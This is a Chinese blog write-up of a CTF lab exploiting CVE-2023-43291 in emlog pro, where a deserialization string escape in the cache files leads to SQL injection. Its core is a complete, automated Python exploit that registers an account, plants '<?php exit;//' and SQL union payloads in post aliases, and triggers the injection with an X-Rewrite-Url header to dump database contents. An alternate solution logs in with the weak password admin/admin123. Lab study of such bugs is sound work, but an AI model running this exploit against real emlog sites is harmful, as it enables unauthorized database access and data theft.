【春秋云镜】CVE-2023-43291 反序列化字符串逃逸+sql注入

题目解析

emlog是一款轻量级博客及CMS建站系统,在emlog pro v.2.1.15及更早版本中的不受信任数据反序列化允许远程攻击者通过cache.php组件执行SQL语句。

漏洞复现

先搜了搜有关漏洞的细节,具体可参考https://gist.github.com/Dar1in9s/e3db6b04daacb68633a97581bbd5921b

说实话已经写的很详细了,可参考复现,过程很清晰,还带着分析,很人性了。

如果你是奔着找flag的思路,可以参考我下面的投机取巧,不过不建议这样干,这样其实对你学习这个漏洞,代码审计还是不太好。

深思熟虑还是想着自己研究下漏洞本质原理及利用过程,并自己编写代码实现自动化。

解法一

首先这个漏洞的本质希望你看完上面的参考文章已经有所了解,根据参考链接可知:

emlog使用缓存机制,会将网站运行的一些数据以php序列化的形式存储在本地文件中,访问时再将其反序列化,以减少对数据库的请求,加快访问速度。

在存储缓存时,会将序列化后的字符串存到文件中,为了防止被直接访问,作者将文件设置成了php文件,而且在文件头部添加了<?php exit;//,这样在被直接访问到时,也不会泄露序列化后的数据。 当需要读取缓存数据时,直接读取文件的内容,并将<?php exit;//去掉,反序列化即可。

但在读取缓存时,这样的设计就存在问题:攻击者可以将要序列化的变量内容设置为<?php exit;//,并写入缓存文件,在读取缓存时,将会导致反序列化时的字符串逃逸,构成反序列化漏洞。

整个漏洞基本利用过程就是:通过新建文章(保存草稿)和更新文章来控制文章别名的缓存,构造sql注入payload,然后配合反序列化字符逃逸漏洞+控制请求头X-Rewrite-Url读取构造的别名缓存进行反序列化从而执行sql语句,并展示在title中。

接下来如何去写exp了。我这里直接根据poc修改代码后,让代码执行时经过burp代理:

取消proxy注释执行,即可进入burp查看抓到的包,在写文章的时候发现有大佬也发了文章写了这个调试过程,我就不具体做阐述了,可参考【春秋云镜】CVE-2023-43291 emlog SQL注入-CSDN博客

 重点包括三个包,发表文章注入payload,反序列化写入缓存,大佬文章写到了读取数据库表列的信息,我就直接到最后读取flag了。

前面都没问题,后面读取flag的时候发现报错:

 

上网搜了一下错误,发现是编码不一致导致的:

然后修改payload,再次发包访问发现成功读取flag。

flag回显如下:

解法一exp 

但上面的发包过程还是挺麻烦的,每次都需要删除已经发布的文章,重新发包,为此我基于POC将这个利用过程自动化了,写了个exp,没考虑时间复杂度哈哈,勿喷

import requests
import sys
import time
requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 2:
    print("emlog checker ")
    print("usage: python poc.py http://xxxxx/")

    exit()

url = sys.argv[1]
session = requests.session()
proxy = {}
# proxy = {
#     "http": "127.0.0.1:8080",
#     "https": "127.0.0.1:8080"
# }

# Step1 注册一个账户并登录,获取token
def step1():
    url_register = "/admin/account.php?action=dosignup"
    data_register = {
        "mail":"9a6d0oL@test.com",
        "passwd":"password",
        "repasswd": "password"
    }
    session.post(url+url_register, data=data_register, verify=False, allow_redirects=False, proxies=proxy)

    url_login = "/admin/account.php?action=dosignin&s="
    data_login = {
        "user": "9a6d0oL@test.com",
        "pw": "password"
    }
    res = session.post(url+url_login, data=data_login, verify=False, allow_redirects=False, proxies=proxy)
    if res.status_code != 302 or res.headers.get("Location") != "./":
        print("登录错误")
        exit()

    url_token = "/admin/article.php"
    res = session.get(url+url_token, verify=False, allow_redirects=False, proxies=proxy)
    while res.status_code != 200:   # 因为该cms会随机进行重新的身份认证,详见include/service/user.php:106
        res = session.get(url+url_token, verify=False, allow_redirects=False, proxies=proxy)
    global token
    try:
        token = res.text.split('id="token" value="')[1].split('"')[0].strip()
    except:
        token = ""
    
# Step2 新建两篇文章,设置两篇文章的alias,写入payload
def step2(payload):
    url_article = "/admin/article_save.php?action=autosave"
    data_article = {
        "logcontent": time.time(), 
        "logexcerpt": '', 
        "title": time.time(), 
        "cover": '', 
        "alias": time.time(), 
        "sort": "-1", 
        "postdate": "2022-10-16 00:01:34", 
        "date": '', 
        "tag": '', 
        "top": "n", 
        "sortop": "n", 
        "allow_remark": "y", 
        "password": '', 
        "token": token, 
        "ishide": "y", 
        "as_logid": "-1"
    }

    # 新建第一篇文章
    res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    while res.status_code != 200:
        res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    try:
        id_1 = res.text.split(":")[1].split("_")[0]
    except:
        print("error,请手动删除当前用户所有文章以及草稿再重新运行此poc.")
        exit()
    # 新建第二篇文章
    data_article["logcontent"] = time.time()
    data_article["title"] = time.time()
    data_article["alias"] = time.time()
    res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    while res.status_code != 200:
        res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    try:
        id_2 = int(res.text.split(":")[1].split("_")[0])
    except:
        print("error,请手动删除当前用户所有文章以及草稿再重新运行此poc.")
        exit()

    # 更改第二篇文章的alias
    data_article["as_logid"] = id_2
    if id_2 < 10:
        data_article["alias"] = payload
    if id_2 >= 10:
        data_article["alias"] = payload[1:]
    if id_2 >= 100:
        data_article["alias"] = payload
    res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    while res.status_code != 200:
        res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)

    # 更改第一篇文章的alias
    data_article["as_logid"] = id_1
    data_article["alias"] = "<?php exit;//"
    res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    while res.status_code != 200:
        res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)

# Step3 访问触发反序列化以及sql注入
def step3():
    headers = {
        "X-Rewrite-Url": "/x",
    }
    res = session.get(url, headers=headers, verify=False, allow_redirects=False, proxies=proxy)
    if res.status_code == 200:
        return res.text.split("<title>")[1].split("</title>")[0].strip('~')
    else:
        raise  Exception

#Step4 删除已经创建的文章,为了下一次利用
def step4():
    del_token = "/admin/article.php?draft=1"
    res = session.get(url+del_token, verify=False, allow_redirects=False, proxies=proxy)
    gid = [res.text.split('comment.php?gid=')[1].split('"')[0],str(int(res.text.split('comment.php?gid=')[1].split('"')[0])+1)]
    del_url = "/admin/article.php?action=operate_log"
    for id in gid:
        data_del = {"draft": "1", "blog[]": id, "token": token, "operate": "del", "sort": ''}
        res = session.post(url+del_url, data=data_del, verify=False, allow_redirects=False, proxies=proxy)

def getInfo(payload):
    try:
        res = step3()
    except:
        step1()
        step2(payload)
        res = step3()
        step4()
    return res

if __name__ == "__main__":
    payload = '''";s:93:"0 union select 1,user(),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','','','',''#";s:1:"x'''
    payload1 = '''";s:234:"0 union select 1,concat(0x7e,(SELECT CONCAT(TABLE_SCHEMA,'-',TABLE_NAME,'-',COLUMN_NAME) FROM information_schema.COLUMNS WHERE COLUMN_NAME = 'flag' limit 2,1),0x7e),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','','','',''#";s:1:"x'''
    info = getInfo(payload1).split('-')
    flag_sql = 'SELECT CONVERT('+ info[2] + ' USING utf8) AS flag FROM '+ info[0] + '.' + info[1]
    unserialize_data_len = 107+len(flag_sql)
    payload2 = '''";s:'''+str(unserialize_data_len)+''':"0 union select 1,concat(0x7e,('''+flag_sql+'''),0x7e),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','','','',''#";s:1:"x'''
    print("当前用户:"+ getInfo(payload))
    print("存在flag的数据库-表-字段:"+getInfo(payload1))
    print("获取到的flag值为:"+getInfo(payload2))
    

 执行如下:

python exp.py http://eci-2zea5hcwi2a2b7pokbu5.cloudeci1.ichunqiu.com/

解法二

我上来一般还是习惯点点点。先访问/admin看看,尝试了一波弱口令admin/admin123,成功登录。

点了一堆,发现有个数据备份功能

下载下来,查看

 flag就在里面。

flag最终值 

flag{d14d25ed-7bf1-4700-bc0a-e172a3e2f1e1}

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值